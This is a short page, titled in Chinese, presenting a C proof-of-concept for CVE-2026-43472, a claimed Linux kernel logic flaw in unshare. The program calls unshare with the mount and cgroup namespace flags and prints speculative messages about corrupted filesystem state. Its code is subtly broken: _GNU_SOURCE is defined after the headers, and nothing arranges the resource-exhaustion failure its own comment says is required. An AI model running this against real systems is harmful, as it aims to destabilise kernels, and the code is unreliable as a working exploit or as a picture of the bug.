CVE-2026-43472 Linux内核unshare_fs逻辑漏洞

#include <sched.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #define _GNU_SOURCE /* * PoC for CVE-2026-43472 * This program attempts to trigger the vulnerable code path in unshare(2). * It uses CLONE_NEWNS and CLONE_NEWCGROUP. To trigger the bug, * copy_cgroup_ns() needs to fail after copy_mnt_ns() succeeds. * In a real scenario, this might require resource exhaustion conditions. */ int main() { printf("[+] Attempting to trigger CVE-2026-43472...\n"); // CLONE_NEWNS | CLONE_NEWCGROUP int ret = unshare(CLONE_NEWNS | CLONE_NEWCGROUP); if (ret == 0) { printf("[+] unshare succeeded. If kernel is vulnerable and conditions met, fs state might be corrupted.\n"); } else { perror("[-] unshare failed"); // Failure is expected to trigger the specific bug path (clean up logic) printf("[!] unshare failed with error. Check kernel logs for instability.\n"); } // Access filesystem to check if we are on a detached mount char cwd[1024]; if (getcwd(cwd, sizeof(cwd)) != NULL) { printf("[+] Current directory: %s\n", cwd); } return 0; }